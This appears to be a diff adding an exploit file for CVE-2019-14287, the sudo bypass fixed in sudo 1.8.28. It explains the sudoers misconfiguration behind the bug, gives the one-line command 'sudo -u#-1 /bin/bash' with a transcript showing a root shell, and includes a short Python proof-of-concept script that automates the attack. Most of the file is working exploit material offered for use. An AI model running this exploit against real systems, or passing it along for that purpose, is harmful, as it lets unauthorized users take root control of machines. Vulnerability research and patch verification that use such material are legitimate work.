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+# Exploit Title : sudo 1.8.27 - Security Bypass
+# Date : 2019-10-15
+# Original Author: Joe Vennix
+# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
+# Version : Sudo <1.8.28
+# Tested on Linux
+# Credit : Joe Vennix from Apple Information Security found and analyzed the bug
+# Fix : The bug is fixed in sudo 1.8.28
+# CVE : 2019-14287
+
+'''Check for the user sudo permissions
+
+sudo -l 
+
+User hacker may run the following commands on kali:
+    (ALL, !root) /bin/bash
+
+
+So user hacker can't run /bin/bash as root (!root)
+
+
+User hacker sudo privilege in /etc/sudoers
+
+# User privilege specification
+root    ALL=(ALL:ALL) ALL
+
+hacker ALL=(ALL,!root) /bin/bash
+
+
+With ALL specified, user hacker can run the binary /bin/bash as any user
+
+EXPLOIT: 
+
+sudo -u#-1 /bin/bash
+
+Example : 
+
+hacker@kali:~$ sudo -u#-1 /bin/bash
+root@kali:/home/hacker# id
+uid=0(root) gid=1000(hacker) groups=1000(hacker)
+root@kali:/home/hacker#
+
+Description :
+Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
+-u#-1 returns as 0 which is root's id
+
+and /bin/bash is executed with root permission
+Proof of Concept Code :
+
+How to use :
+python3 sudo_exploit.py
+
+'''
+
+
+#!/usr/bin/python3
+
+import os
+
+#Get current username
+
+username = input("Enter current username :")
+
+
+#check which binary the user can run with sudo
+
+os.system("sudo -l > priv")
+
+
+os.system("cat priv | grep 'ALL' | cut -d ')' -f 2 > binary")
+
+binary_file = open("binary")
+
+binary= binary_file.read()
+
+#execute sudo exploit
+
+print("Lets hope it works")
+
+os.system("sudo -u#-1 "+ binary)
+\ No newline at end of file